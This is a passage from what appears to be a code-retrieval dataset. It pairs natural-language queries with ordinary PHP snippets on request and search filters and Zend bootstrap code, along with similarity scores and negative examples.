'AND';\n $filters[] = $f;\n }\n }\n return $filters;\n }", "private function _add_filters() {\n\t\t\tadd_filter('wp_setup_nav_menu_item', array($this, 'add_custom_options'));\n\n\t\t\t# Update custom menu options\n\t\t\tadd_action('wp_update_nav_menu_item', array($this, 'update_custom_options'), 10, 3);\n\n\t\t\t# Set edit menu walker\n\t\t\tadd_filter('wp_edit_nav_menu_walker', array($this, 'apply_edit_walker_class'), 10, 2);\n\t\t\t\n\t\t\t# Addition style\n\t\t\tadd_action('admin_enqueue_scripts', array( $this, 'add_menu_css' ));\n\t\t\t\n\t\t\t# Addition js\n\t\t\tadd_action('admin_head-nav-menus.php', array( $this, 'add_icon_js' ));\n\n\t\t\t# Mega menu javascript\n\t\t\tadd_action('admin_enqueue_scripts', array( $this, 'wtbx_mega_menu_admin_scripts' ), 80);\n\t\t}", "public function create() {\n\n if(\\Gate::denies('save', new \\Corp\\Filter())) {\n abort(403);\n }\n\n $this->title = 'New Filter';\n\n $this->content = view(config('settings.theme').'.admin.filter_create_content')->render();\n\n return $this->renderOutput();\n\n }", "protected function filter()\n {\n $request = $this->getRequest();\n $session = $request->getSession();\n $filterForm = $this->createForm(new RemitovolvoFilterType());\n $em = $this->getDoctrine()->getManager();\n $queryBuilder = $em->getRepository('SistemaAdminBundle:Remitovolvo')->createQueryBuilder('e');\n \n // Reset filter\n if ($request->getMethod() == 'POST' && $request->get('filter_action') == 'reset') {\n $session->remove('RemitovolvoControllerFilter');\n }\n \n // Filter action\n if ($request->getMethod() == 'POST' && $request->get('filter_action') == 'filter') {\n // Bind values from the request\n $filterForm->bind($request);\n\n if ($filterForm->isValid()) {\n // Build the query from the given form object\n $this->get('lexik_form_filter.query_builder_updater')->addFilterConditions($filterForm, $queryBuilder);\n // Save filter to session\n $filterData = $filterForm->getData();\n $session->set('RemitovolvoControllerFilter', $filterData);\n }\n } else {\n // Get filter from session\n if ($session->has('RemitovolvoControllerFilter')) {\n $filterData = $session->get('RemitovolvoControllerFilter');\n $filterForm = $this->createForm(new RemitovolvoFilterType(), $filterData);\n $this->get('lexik_form_filter.query_builder_updater')->addFilterConditions($filterForm, $queryBuilder);\n }\n }\n \n return array($filterForm, $queryBuilder);\n }", "private function loadFiltersFromAttributes(): void\n {\n $request = RequestUtil::getMainRequest($this->requestStack) ?? Request::createFromGlobals();\n foreach ($request->attributes->getIterator() as $key => $value) {\n $key = (string) $key;\n if ($this->getFilterByName($key) === null) {\n continue;\n }\n\n $filterField = new FilterField();\n $filterField->setName($key)\n ->setValue($value)\n ->setComparison(Api\\Filter::COMPARISON_EQUALS)\n ->setFilter($this->getFilterByName($key));\n\n $this->filterFields[] = $filterField;\n }\n }", "public function filters()\n\t{\n\t\treturn array(\n\t\t\t'rights', // perform access control for CRUD operations\n\t\t);\n\t}", "function getFilters() {\r\n global $filterList;\r\n foreach ($filterList as $filter) {\r\n echo getSelectionOptions($filter);\r\n }\r\n echo '<button type=\"submit\" value=\"submit\">Save Filters</button>';\r\n }", "protected function saveFilters(array $filters) {\n unset($filters['id']); \n $this->getUser()->setAttribute(viewLeaveEntitlementsAction::FILTERS_ATTRIBUTE_NAME, $filters, 'leave');\n }", "public function getFilters(): array;", "protected function _store(&$ob)\n {\n switch ($ob->obType()) {\n case self::ACTION_BLACKLIST:\n case self::ACTION_WHITELIST:\n $is_blacklist = (int)($ob->obType() == self::ACTION_BLACKLIST);\n if ($is_blacklist) {\n $filters = &$this->retrieve(self::ACTION_FILTERS);\n if (is_a($filters, 'PEAR_Error')) {\n return $filters;\n }\n $id = $filters->findRuleId(self::ACTION_BLACKLIST);\n if ($id !== null) {\n $rule = $filters->getRule($id);\n if (!isset($rule['action-value']) ||\n $rule['action-value'] != $ob->getBlacklistFolder()) {\n $rule['action-value'] = $ob->getBlacklistFolder();\n $filters->updateRule($rule, $id);\n }\n }\n }\n $query = sprintf('DELETE FROM %s WHERE list_owner = ? AND list_blacklist = ?',\n $this->_params['table_lists']);\n $values = array(Ingo::getUser(), $is_blacklist);\n Horde::logMessage('Ingo_Storage_Sql::_store(): ' . $query,\n __FILE__, __LINE__, PEAR_LOG_DEBUG);\n $result = $this->_write_db->query($query, $values);\n if (is_a($result, 'PEAR_Error')) {\n Horde::logMessage($result, __FILE__, __LINE__, PEAR_LOG_ERR);\n return $result;\n }\n $query = sprintf('INSERT INTO %s (list_owner, list_blacklist, list_address) VALUES (?, ?, ?)',\n $this->_params['table_lists']);\n Horde::logMessage('Ingo_Storage_Sql::_store(): ' . $query,\n __FILE__, __LINE__, PEAR_LOG_DEBUG);\n $addresses = $is_blacklist ? $ob->getBlacklist() : $ob->getWhitelist();\n foreach ($addresses as $address) {\n $result = $this->_write_db->query($query,\n array(Ingo::getUser(),\n $is_blacklist,\n $address));\n if (is_a($result, 'PEAR_Error')) {\n Horde::logMessage($result, __FILE__, __LINE__, PEAR_LOG_ERR);\n return $result;\n }\n }\n $ob->setSaved(true);\n $ret = true;\n break;\n\n case self::ACTION_FILTERS:\n $ret = true;\n break;\n\n case self::ACTION_FORWARD:\n if ($ob->isSaved()) {\n $query = 'UPDATE %s SET forward_addresses = ?, forward_keep = ? WHERE forward_owner = ?';\n } else {\n $query = 'INSERT INTO %s (forward_addresses, forward_keep, forward_owner) VALUES (?, ?, ?)';\n }\n $query = sprintf($query, $this->_params['table_forwards']);\n $values = array(\n implode(\"\\n\", $ob->getForwardAddresses()),\n (int)(bool)$ob->getForwardKeep(),\n Ingo::getUser());\n Horde::logMessage('Ingo_Storage_Sql::_store(): ' . $query,\n __FILE__, __LINE__, PEAR_LOG_DEBUG);\n $ret = $this->_write_db->query($query, $values);\n if (!is_a($ret, 'PEAR_Error')) {\n $ob->setSaved(true);\n }\n break;\n\n case self::ACTION_VACATION:\n if ($ob->isSaved()) {\n $query = 'UPDATE %s SET vacation_addresses = ?, vacation_subject = ?, vacation_reason = ?, vacation_days = ?, vacation_start = ?, vacation_end = ?, vacation_excludes = ?, vacation_ignorelists = ? WHERE vacation_owner = ?';\n } else {\n $query = 'INSERT INTO %s (vacation_addresses, vacation_subject, vacation_reason, vacation_days, vacation_start, vacation_end, vacation_excludes, vacation_ignorelists, vacation_owner) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)';\n }\n $query = sprintf($query, $this->_params['table_vacations']);\n $values = array(\n implode(\"\\n\", $ob->getVacationAddresses()),\n Horde_String::convertCharset($ob->getVacationSubject(),\n Horde_Nls::getCharset(),\n $this->_params['charset']),\n Horde_String::convertCharset($ob->getVacationReason(),\n Horde_Nls::getCharset(),\n $this->_params['charset']),\n (int)$ob->getVacationDays(),\n (int)$ob->getVacationStart(),\n (int)$ob->getVacationEnd(),\n implode(\"\\n\", $ob->getVacationExcludes()),\n (int)(bool)$ob->getVacationIgnorelist(),\n Ingo::getUser());\n Horde::logMessage('Ingo_Storage_Sql::_store(): ' . $query,\n __FILE__, __LINE__, PEAR_LOG_DEBUG);\n $ret = $this->_write_db->query($query, $values);\n if (!is_a($ret, 'PEAR_Error')) {\n $ob->setSaved(true);\n }\n break;\n\n case self::ACTION_SPAM:\n if ($ob->isSaved()) {\n $query = 'UPDATE %s SET spam_level = ?, spam_folder = ? WHERE spam_owner = ?';\n } else {\n $query = 'INSERT INTO %s (spam_level, spam_folder, spam_owner) VALUES (?, ?, ?)';\n }\n $query = sprintf($query, $this->_params['table_spam']);\n $values = array(\n (int)$ob->getSpamLevel(),\n $ob->getSpamFolder(),\n Ingo::getUser());\n Horde::logMessage('Ingo_Storage_Sql::_store(): ' . $query,\n __FILE__, __LINE__, PEAR_LOG_DEBUG);\n $ret = $this->_write_db->query($query, $values);\n if (!is_a($ret, 'PEAR_Error')) {\n $ob->setSaved(true);\n }\n break;\n\n default:\n $ret = false;\n break;\n }\n\n if (is_a($ret, 'PEAR_Error')) {\n Horde::logMessage($ret, __FILE__, __LINE__);\n }\n\n return $ret;\n }", "public function afterFilter()\n\t{\n\n\t}", "public function postSavefilters()\n {\n if (Request::ajax())\n {\n\t\t\t$datatoblob = json_decode(Input::get('selectedvalues'), true);\n //serialization\n $checkuserid = Auth::id();\n $autheduser = User::find(Auth::id());\n $objforuser = new stdClass;\n $objforuser->data = json_encode($datatoblob);\n $objforuser->is_array = is_array($datatoblob); // doing this for proper deserialize\n $objforuser_json = json_encode($objforuser);\n $autheduser->filters_patient = json_encode($objforuser);\n if ($autheduser->forceSave())\n {\n return 'success';\n }else\n {\n return 'nope';\n }\n } else\n {\n return false;\n }\n }", "function get_current_filters () \n{\n if (count($_GET) < 1) \n return array();\n \n foreach ($_GET as $field_name => $value) {\n if (strlen($value) < 1) continue;\n $filters[$field_name] = addslashes($value);\n }\n \n unset($filters[w]);\n \n return $filters;\n}", "protected function prepareFilters()\n {\n if(count($this->api_query) === 0){\n return;\n }\n\n // Matched WHERE filters would be all\n // that are not KEYWORDS (count, page, embed...)\n foreach($this->api_query as $column => $value) {\n if(in_array($column, $this->api_keyword_filters)){\n continue;\n }\n\n $this->where_filters[$column]= $value;\n }\n }", "function xh_listFilters()\r\n\t{\r\n\t}", "public function setFilters($args) {\n\t\tforeach($args as $argName => $argValue) {\n\t\t\tif($argValue !== null) {\n\t\t\t\t$methodName = 'add'.ucfirst($argName).'Filter';\n\t\t\t\tif(method_exists($this,$methodName)) {\n\t\t\t\t\t$this->$methodName($argValue, $args);\n\t\t\t\t} else {\n\t\t\t\t\t$this->addFilter($argName, $argValue);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "function RestoreFilterList() {\n\n\t\t// Return if not reset filter\n\t\tif (@$_POST[\"cmd\"] <> \"resetfilter\")\n\t\t\treturn FALSE;\n\t\t$filter = json_decode(ew_StripSlashes(@$_POST[\"filter\"]), TRUE);\n\t\t$this->Command = \"search\";\n\n\t\t// Field tgl\n\t\t$this->tgl->AdvancedSearch->SearchValue = @$filter[\"x_tgl\"];\n\t\t$this->tgl->AdvancedSearch->SearchOperator = @$filter[\"z_tgl\"];\n\t\t$this->tgl->AdvancedSearch->SearchCondition = @$filter[\"v_tgl\"];\n\t\t$this->tgl->AdvancedSearch->SearchValue2 = @$filter[\"y_tgl\"];\n\t\t$this->tgl->AdvancedSearch->SearchOperator2 = @$filter[\"w_tgl\"];\n\t\t$this->tgl->AdvancedSearch->Save();\n\n\t\t// Field no_spp\n\t\t$this->no_spp->AdvancedSearch->SearchValue = @$filter[\"x_no_spp\"];\n\t\t$this->no_spp->AdvancedSearch->SearchOperator = @$filter[\"z_no_spp\"];\n\t\t$this->no_spp->AdvancedSearch->SearchCondition = @$filter[\"v_no_spp\"];\n\t\t$this->no_spp->AdvancedSearch->SearchValue2 = @$filter[\"y_no_spp\"];\n\t\t$this->no_spp->AdvancedSearch->SearchOperator2 = @$filter[\"w_no_spp\"];\n\t\t$this->no_spp->AdvancedSearch->Save();\n\n\t\t// Field jns_spp\n\t\t$this->jns_spp->AdvancedSearch->SearchValue = @$filter[\"x_jns_spp\"];\n\t\t$this->jns_spp->AdvancedSearch->SearchOperator = @$filter[\"z_jns_spp\"];\n\t\t$this->jns_spp->AdvancedSearch->SearchCondition = @$filter[\"v_jns_spp\"];\n\t\t$this->jns_spp->AdvancedSearch->SearchValue2 = @$filter[\"y_jns_spp\"];\n\t\t$this->jns_spp->AdvancedSearch->SearchOperator2 = @$filter[\"w_jns_spp\"];\n\t\t$this->jns_spp->AdvancedSearch->Save();\n\n\t\t// Field kd_mata\n\t\t$this->kd_mata->AdvancedSearch->SearchValue = @$filter[\"x_kd_mata\"];\n\t\t$this->kd_mata->AdvancedSearch->SearchOperator = @$filter[\"z_kd_mata\"];\n\t\t$this->kd_mata->AdvancedSearch->SearchCondition = @$filter[\"v_kd_mata\"];\n\t\t$this->kd_mata->AdvancedSearch->SearchValue2 = @$filter[\"y_kd_mata\"];\n\t\t$this->kd_mata->AdvancedSearch->SearchOperator2 = @$filter[\"w_kd_mata\"];\n\t\t$this->kd_mata->AdvancedSearch->Save();\n\n\t\t// Field urai\n\t\t$this->urai->AdvancedSearch->SearchValue = @$filter[\"x_urai\"];\n\t\t$this->urai->AdvancedSearch->SearchOperator = @$filter[\"z_urai\"];\n\t\t$this->urai->AdvancedSearch->SearchCondition = @$filter[\"v_urai\"];\n\t\t$this->urai->AdvancedSearch->SearchValue2 = @$filter[\"y_urai\"];\n\t\t$this->urai->AdvancedSearch->SearchOperator2 = @$filter[\"w_urai\"];\n\t\t$this->urai->AdvancedSearch->Save();\n\n\t\t// Field jmlh\n\t\t$this->jmlh->AdvancedSearch->SearchValue = @$filter[\"x_jmlh\"];\n\t\t$this->jmlh->AdvancedSearch->SearchOperator = @$filter[\"z_jmlh\"];\n\t\t$this->jmlh->AdvancedSearch->SearchCondition = @$filter[\"v_jmlh\"];\n\t\t$this->jmlh->AdvancedSearch->SearchValue2 = @$filter[\"y_jmlh\"];\n\t\t$this->jmlh->AdvancedSearch->SearchOperator2 = @$filter[\"w_jmlh\"];\n\t\t$this->jmlh->AdvancedSearch->Save();\n\n\t\t// Field jmlh1\n\t\t$this->jmlh1->AdvancedSearch->SearchValue = @$filter[\"x_jmlh1\"];\n\t\t$this->jmlh1->AdvancedSearch->SearchOperator = @$filter[\"z_jmlh1\"];\n\t\t$this->jmlh1->AdvancedSearch->SearchCondition = @$filter[\"v_jmlh1\"];\n\t\t$this->jmlh1->AdvancedSearch->SearchValue2 = @$filter[\"y_jmlh1\"];\n\t\t$this->jmlh1->AdvancedSearch->SearchOperator2 = @$filter[\"w_jmlh1\"];\n\t\t$this->jmlh1->AdvancedSearch->Save();\n\n\t\t// Field jmlh2\n\t\t$this->jmlh2->AdvancedSearch->SearchValue = @$filter[\"x_jmlh2\"];\n\t\t$this->jmlh2->AdvancedSearch->SearchOperator = @$filter[\"z_jmlh2\"];\n\t\t$this->jmlh2->AdvancedSearch->SearchCondition = @$filter[\"v_jmlh2\"];\n\t\t$this->jmlh2->AdvancedSearch->SearchValue2 = @$filter[\"y_jmlh2\"];\n\t\t$this->jmlh2->AdvancedSearch->SearchOperator2 = @$filter[\"w_jmlh2\"];\n\t\t$this->jmlh2->AdvancedSearch->Save();\n\n\t\t// Field jmlh3\n\t\t$this->jmlh3->AdvancedSearch->SearchValue = @$filter[\"x_jmlh3\"];\n\t\t$this->jmlh3->AdvancedSearch->SearchOperator = @$filter[\"z_jmlh3\"];\n\t\t$this->jmlh3->AdvancedSearch->SearchCondition = @$filter[\"v_jmlh3\"];\n\t\t$this->jmlh3->AdvancedSearch->SearchValue2 = @$filter[\"y_jmlh3\"];\n\t\t$this->jmlh3->AdvancedSearch->SearchOperator2 = @$filter[\"w_jmlh3\"];\n\t\t$this->jmlh3->AdvancedSearch->Save();\n\n\t\t// Field jmlh4\n\t\t$this->jmlh4->AdvancedSearch->SearchValue = @$filter[\"x_jmlh4\"];\n\t\t$this->jmlh4->AdvancedSearch->SearchOperator = @$filter[\"z_jmlh4\"];\n\t\t$this->jmlh4->AdvancedSearch->SearchCondition = @$filter[\"v_jmlh4\"];\n\t\t$this->jmlh4->AdvancedSearch->SearchValue2 = @$filter[\"y_jmlh4\"];\n\t\t$this->jmlh4->AdvancedSearch->SearchOperator2 = @$filter[\"w_jmlh4\"];\n\t\t$this->jmlh4->AdvancedSearch->Save();\n\n\t\t// Field nm_perus\n\t\t$this->nm_perus->AdvancedSearch->SearchValue = @$filter[\"x_nm_perus\"];\n\t\t$this->nm_perus->AdvancedSearch->SearchOperator = @$filter[\"z_nm_perus\"];\n\t\t$this->nm_perus->AdvancedSearch->SearchCondition = @$filter[\"v_nm_perus\"];\n\t\t$this->nm_perus->AdvancedSearch->SearchValue2 = @$filter[\"y_nm_perus\"];\n\t\t$this->nm_perus->AdvancedSearch->SearchOperator2 = @$filter[\"w_nm_perus\"];\n\t\t$this->nm_perus->AdvancedSearch->Save();\n\n\t\t// Field alamat\n\t\t$this->alamat->AdvancedSearch->SearchValue = @$filter[\"x_alamat\"];\n\t\t$this->alamat->AdvancedSearch->SearchOperator = @$filter[\"z_alamat\"];\n\t\t$this->alamat->AdvancedSearch->SearchCondition = @$filter[\"v_alamat\"];\n\t\t$this->alamat->AdvancedSearch->SearchValue2 = @$filter[\"y_alamat\"];\n\t\t$this->alamat->AdvancedSearch->SearchOperator2 = @$filter[\"w_alamat\"];\n\t\t$this->alamat->AdvancedSearch->Save();\n\n\t\t// Field npwp\n\t\t$this->npwp->AdvancedSearch->SearchValue = @$filter[\"x_npwp\"];\n\t\t$this->npwp->AdvancedSearch->SearchOperator = @$filter[\"z_npwp\"];\n\t\t$this->npwp->AdvancedSearch->SearchCondition = @$filter[\"v_npwp\"];\n\t\t$this->npwp->AdvancedSearch->SearchValue2 = @$filter[\"y_npwp\"];\n\t\t$this->npwp->AdvancedSearch->SearchOperator2 = @$filter[\"w_npwp\"];\n\t\t$this->npwp->AdvancedSearch->Save();\n\n\t\t// Field pimpinan\n\t\t$this->pimpinan->AdvancedSearch->SearchValue = @$filter[\"x_pimpinan\"];\n\t\t$this->pimpinan->AdvancedSearch->SearchOperator = @$filter[\"z_pimpinan\"];\n\t\t$this->pimpinan->AdvancedSearch->SearchCondition = @$filter[\"v_pimpinan\"];\n\t\t$this->pimpinan->AdvancedSearch->SearchValue2 = @$filter[\"y_pimpinan\"];\n\t\t$this->pimpinan->AdvancedSearch->SearchOperator2 = @$filter[\"w_pimpinan\"];\n\t\t$this->pimpinan->AdvancedSearch->Save();\n\n\t\t// Field bank\n\t\t$this->bank->AdvancedSearch->SearchValue = @$filter[\"x_bank\"];\n\t\t$this->bank->AdvancedSearch->SearchOperator = @$filter[\"z_bank\"];\n\t\t$this->bank->AdvancedSearch->SearchCondition = @$filter[\"v_bank\"];\n\t\t$this->bank->AdvancedSearch->SearchValue2 = @$filter[\"y_bank\"];\n\t\t$this->bank->AdvancedSearch->SearchOperator2 = @$filter[\"w_bank\"];\n\t\t$this->bank->AdvancedSearch->Save();\n\n\t\t// Field rek\n\t\t$this->rek->AdvancedSearch->SearchValue = @$filter[\"x_rek\"];\n\t\t$this->rek->AdvancedSearch->SearchOperator = @$filter[\"z_rek\"];\n\t\t$this->rek->AdvancedSearch->SearchCondition = @$filter[\"v_rek\"];\n\t\t$this->rek->AdvancedSearch->SearchValue2 = @$filter[\"y_rek\"];\n\t\t$this->rek->AdvancedSearch->SearchOperator2 = @$filter[\"w_rek\"];\n\t\t$this->rek->AdvancedSearch->Save();\n\n\t\t// Field nospm\n\t\t$this->nospm->AdvancedSearch->SearchValue = @$filter[\"x_nospm\"];\n\t\t$this->nospm->AdvancedSearch->SearchOperator = @$filter[\"z_nospm\"];\n\t\t$this->nospm->AdvancedSearch->SearchCondition = @$filter[\"v_nospm\"];\n\t\t$this->nospm->AdvancedSearch->SearchValue2 = @$filter[\"y_nospm\"];\n\t\t$this->nospm->AdvancedSearch->SearchOperator2 = @$filter[\"w_nospm\"];\n\t\t$this->nospm->AdvancedSearch->Save();\n\n\t\t// Field tglspm\n\t\t$this->tglspm->AdvancedSearch->SearchValue = @$filter[\"x_tglspm\"];\n\t\t$this->tglspm->AdvancedSearch->SearchOperator = @$filter[\"z_tglspm\"];\n\t\t$this->tglspm->AdvancedSearch->SearchCondition = @$filter[\"v_tglspm\"];\n\t\t$this->tglspm->AdvancedSearch->SearchValue2 = @$filter[\"y_tglspm\"];\n\t\t$this->tglspm->AdvancedSearch->SearchOperator2 = @$filter[\"w_tglspm\"];\n\t\t$this->tglspm->AdvancedSearch->Save();\n\n\t\t// Field ppn\n\t\t$this->ppn->AdvancedSearch->SearchValue = @$filter[\"x_ppn\"];\n\t\t$this->ppn->AdvancedSearch->SearchOperator = @$filter[\"z_ppn\"];\n\t\t$this->ppn->AdvancedSearch->SearchCondition = @$filter[\"v_ppn\"];\n\t\t$this->ppn->AdvancedSearch->SearchValue2 = @$filter[\"y_ppn\"];\n\t\t$this->ppn->AdvancedSearch->SearchOperator2 = @$filter[\"w_ppn\"];\n\t\t$this->ppn->AdvancedSearch->Save();\n\n\t\t// Field ps21\n\t\t$this->ps21->AdvancedSearch->SearchValue = @$filter[\"x_ps21\"];\n\t\t$this->ps21->AdvancedSearch->SearchOperator = @$filter[\"z_ps21\"];\n\t\t$this->ps21->AdvancedSearch->SearchCondition = @$filter[\"v_ps21\"];\n\t\t$this->ps21->AdvancedSearch->SearchValue2 = @$filter[\"y_ps21\"];\n\t\t$this->ps21->AdvancedSearch->SearchOperator2 = @$filter[\"w_ps21\"];\n\t\t$this->ps21->AdvancedSearch->Save();\n\n\t\t// Field ps22\n\t\t$this->ps22->AdvancedSearch->SearchValue = @$filter[\"x_ps22\"];\n\t\t$this->ps22->AdvancedSearch->SearchOperator = @$filter[\"z_ps22\"];\n\t\t$this->ps22->AdvancedSearch->SearchCondition = @$filter[\"v_ps22\"];\n\t\t$this->ps22->AdvancedSearch->SearchValue2 = @$filter[\"y_ps22\"];\n\t\t$this->ps22->AdvancedSearch->SearchOperator2 = @$filter[\"w_ps22\"];\n\t\t$this->ps22->AdvancedSearch->Save();\n\n\t\t// Field ps23\n\t\t$this->ps23->AdvancedSearch->SearchValue = @$filter[\"x_ps23\"];\n\t\t$this->ps23->AdvancedSearch->SearchOperator = @$filter[\"z_ps23\"];\n\t\t$this->ps23->AdvancedSearch->SearchCondition = @$filter[\"v_ps23\"];\n\t\t$this->ps23->AdvancedSearch->SearchValue2 = @$filter[\"y_ps23\"];\n\t\t$this->ps23->AdvancedSearch->SearchOperator2 = @$filter[\"w_ps23\"];\n\t\t$this->ps23->AdvancedSearch->Save();\n\n\t\t// Field ps4\n\t\t$this->ps4->AdvancedSearch->SearchValue = @$filter[\"x_ps4\"];\n\t\t$this->ps4->AdvancedSearch->SearchOperator = @$filter[\"z_ps4\"];\n\t\t$this->ps4->AdvancedSearch->SearchCondition = @$filter[\"v_ps4\"];\n\t\t$this->ps4->AdvancedSearch->SearchValue2 = @$filter[\"y_ps4\"];\n\t\t$this->ps4->AdvancedSearch->SearchOperator2 = @$filter[\"w_ps4\"];\n\t\t$this->ps4->AdvancedSearch->Save();\n\n\t\t// Field kodespm\n\t\t$this->kodespm->AdvancedSearch->SearchValue = @$filter[\"x_kodespm\"];\n\t\t$this->kodespm->AdvancedSearch->SearchOperator = @$filter[\"z_kodespm\"];\n\t\t$this->kodespm->AdvancedSearch->SearchCondition = @$filter[\"v_kodespm\"];\n\t\t$this->kodespm->AdvancedSearch->SearchValue2 = @$filter[\"y_kodespm\"];\n\t\t$this->kodespm->AdvancedSearch->SearchOperator2 = @$filter[\"w_kodespm\"];\n\t\t$this->kodespm->AdvancedSearch->Save();\n\n\t\t// Field nambud\n\t\t$this->nambud->AdvancedSearch->SearchValue = @$filter[\"x_nambud\"];\n\t\t$this->nambud->AdvancedSearch->SearchOperator = @$filter[\"z_nambud\"];\n\t\t$this->nambud->AdvancedSearch->SearchCondition = @$filter[\"v_nambud\"];\n\t\t$this->nambud->AdvancedSearch->SearchValue2 = @$filter[\"y_nambud\"];\n\t\t$this->nambud->AdvancedSearch->SearchOperator2 = @$filter[\"w_nambud\"];\n\t\t$this->nambud->AdvancedSearch->Save();\n\n\t\t// Field nppk\n\t\t$this->nppk->AdvancedSearch->SearchValue = @$filter[\"x_nppk\"];\n\t\t$this->nppk->AdvancedSearch->SearchOperator = @$filter[\"z_nppk\"];\n\t\t$this->nppk->AdvancedSearch->SearchCondition = @$filter[\"v_nppk\"];\n\t\t$this->nppk->AdvancedSearch->SearchValue2 = @$filter[\"y_nppk\"];\n\t\t$this->nppk->AdvancedSearch->SearchOperator2 = @$filter[\"w_nppk\"];\n\t\t$this->nppk->AdvancedSearch->Save();\n\n\t\t// Field nipppk\n\t\t$this->nipppk->AdvancedSearch->SearchValue = @$filter[\"x_nipppk\"];\n\t\t$this->nipppk->AdvancedSearch->SearchOperator = @$filter[\"z_nipppk\"];\n\t\t$this->nipppk->AdvancedSearch->SearchCondition = @$filter[\"v_nipppk\"];\n\t\t$this->nipppk->AdvancedSearch->SearchValue2 = @$filter[\"y_nipppk\"];\n\t\t$this->nipppk->AdvancedSearch->SearchOperator2 = @$filter[\"w_nipppk\"];\n\t\t$this->nipppk->AdvancedSearch->Save();\n\n\t\t// Field prog\n\t\t$this->prog->AdvancedSearch->SearchValue = @$filter[\"x_prog\"];\n\t\t$this->prog->AdvancedSearch->SearchOperator = @$filter[\"z_prog\"];\n\t\t$this->prog->AdvancedSearch->SearchCondition = @$filter[\"v_prog\"];\n\t\t$this->prog->AdvancedSearch->SearchValue2 = @$filter[\"y_prog\"];\n\t\t$this->prog->AdvancedSearch->SearchOperator2 = @$filter[\"w_prog\"];\n\t\t$this->prog->AdvancedSearch->Save();\n\n\t\t// Field prog1\n\t\t$this->prog1->AdvancedSearch->SearchValue = @$filter[\"x_prog1\"];\n\t\t$this->prog1->AdvancedSearch->SearchOperator = @$filter[\"z_prog1\"];\n\t\t$this->prog1->AdvancedSearch->SearchCondition = @$filter[\"v_prog1\"];\n\t\t$this->prog1->AdvancedSearch->SearchValue2 = @$filter[\"y_prog1\"];\n\t\t$this->prog1->AdvancedSearch->SearchOperator2 = @$filter[\"w_prog1\"];\n\t\t$this->prog1->AdvancedSearch->Save();\n\n\t\t// Field bayar\n\t\t$this->bayar->AdvancedSearch->SearchValue = @$filter[\"x_bayar\"];\n\t\t$this->bayar->AdvancedSearch->SearchOperator = @$filter[\"z_bayar\"];\n\t\t$this->bayar->AdvancedSearch->SearchCondition = @$filter[\"v_bayar\"];\n\t\t$this->bayar->AdvancedSearch->SearchValue2 = @$filter[\"y_bayar\"];\n\t\t$this->bayar->AdvancedSearch->SearchOperator2 = @$filter[\"w_bayar\"];\n\t\t$this->bayar->AdvancedSearch->Save();\n\t\t$this->BasicSearch->setKeyword(@$filter[EW_TABLE_BASIC_SEARCH]);\n\t\t$this->BasicSearch->setType(@$filter[EW_TABLE_BASIC_SEARCH_TYPE]);\n\t}", "public function apply_filters_in_request() {\n\n\t\t\t$args = jet_smart_filters()->query->get_query_args();\n\n\t\t\tif ( ! $args ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tadd_filter( 'jet-engine/listing/grid/posts-query-args', array( $this, 'add_query_args' ), 10, 2 );\n\n\t\t}", "public function filters(Request $request)\n {\n return [];\n }", "public function filters(Request $request)\n {\n return [];\n }" ]
[ "0.6836176", "0.6632281", "0.6583619", "0.65831035", "0.65483063", "0.6495822", "0.63341576", "0.6212158", "0.61876386", "0.6140833", "0.61333203", "0.6119581", "0.61106205", "0.6053996", "0.6050379", "0.60454756", "0.6036624", "0.6022517", "0.599659", "0.59596294", "0.59412974", "0.59207135", "0.5900879", "0.5856496", "0.5838783", "0.58113915", "0.5795953", "0.57533234", "0.570514", "0.56995034", "0.5650218", "0.560537", "0.5603328", "0.55999136", "0.5589137", "0.5587546", "0.55801874", "0.5574355", "0.5574148", "0.5572349", "0.5571946", "0.5557582", "0.5556702", "0.55566955", "0.5535942", "0.5530727", "0.55290157", "0.5508349", "0.55037844", "0.5484912", "0.5472727", "0.54722095", "0.54706883", "0.54643077", "0.54473346", "0.5438724", "0.5438724", "0.54361445", "0.5432953", "0.5429607", "0.542404", "0.54187083", "0.5410173", "0.5393805", "0.5378805", "0.5367865", "0.5363345", "0.53604865", "0.5360198", "0.53533965", "0.5352117", "0.5348591", "0.53439736", "0.53437996", "0.5338432", "0.5335521", "0.533317", "0.53318596", "0.5325732", "0.53217286", "0.53210795", "0.53147805", "0.5311862", "0.53114766", "0.5311134", "0.530669", "0.53055835", "0.53047687", "0.53010184", "0.52966934", "0.52961564", "0.5294283", "0.52930015", "0.529197", "0.5291651", "0.52890635", "0.52858955", "0.528154", "0.5280327", "0.5280327" ]
0.66718405
1
You may not need to do this if you're doing it elsewhere in your
public function onBootstrap($e) { // application //$eventManager = $e->getApplication()->getEventManager(); //$moduleRouteListener = new ModuleRouteListener(); //$moduleRouteListener->attach($eventManager); //$app = $e->getTarget(); //$events = $app->getEventManager(); //$events->attach('dispatch', array($this, 'mvcPreDispatch'), -100); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "private function __() {\n }", "public function helper()\n\t{\n\t\n\t}", "private function _i() {\n }", "protected function __init__() { }", "public function custom()\n\t{\n\t}", "private function init()\n\t{\n\t\treturn;\n\t}", "private function __construct () {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "protected final function __construct() {}", "final private function __construct() {}", "final private function __construct() {}", "private final function __construct() {}", "private function static_things()\n\t{\n\n\t\t# code...\n\t}", "private function __construct()\t{}", "final private function __construct() { }", "final private function __construct() { }", "final private function __construct() { }", 